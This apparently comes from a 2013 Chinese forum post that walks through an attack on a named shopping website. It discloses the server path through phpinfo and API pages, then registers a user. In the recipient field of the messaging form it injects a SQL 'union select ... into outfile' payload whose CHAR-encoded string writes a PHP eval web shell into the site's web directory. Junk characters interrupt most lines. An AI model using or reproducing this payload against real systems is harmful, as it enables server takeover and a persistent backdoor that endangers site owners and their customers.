第一个：想办法找到目标网站的绝对路径
0 ~, h( i f0 d5 T2 |( {1 B, L! Z2 X
' l' I8 X G( T( c1 a& w+ B% ahttp://www.political-security.com/install/svinfo.php?phpinfo=true
; G/ |+ ?. v: ]0 d
9 O/ S9 f" ?( G* J: m+ phttp:/www.political-security.com/core/api/shop_api.php4 @, R6 Z5 A, {% T3 l
! J3 i+ d# v$ Q% w6 N5 a4 S
http://www.political-security.co ... api_b2b_2_0_cat.php$ G2 L% R7 ?! r4 ~% W
* P- F, j9 N7 n! n5 `7 Yhttp://www.political-security.com/core/ap ... b_2_0_goodstype.php+ A) ^. U) Q! x( {
. ^/ l' p, x: ?7 uhttp://www.political-security.co ... i_b2b_2_0_brand.php
7 Z0 g; h2 c. m) I第二个：注册一个普通用户8 k" F! o3 |# a& }6 x" Z
' t! l5 O( X" Shttp://www.political-security.com/?passport-signup.html
* v3 I# a3 R: L1 q9 }/ F4 g6 ]. M7 w& K p$ R# }
第三个： 发送消息
- F3 N& U: H3 j6 |/ H" c O2 V, T. d, y& [1 o
http://www.political-security.com/?member-send.html' r7 D7 e) g h" u7 p( O E1 G% }( f
发送给中填写
4 {0 u2 Y& _5 d2 X$ V7 g, nantian365.com' union select CHAR(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 35, 39, 93, 41, 59, 63, 62) into outfile 'E:/zkeysoft/www/x.php' # |
发表于 2013-2-27 21:28:28
收藏
支持
反对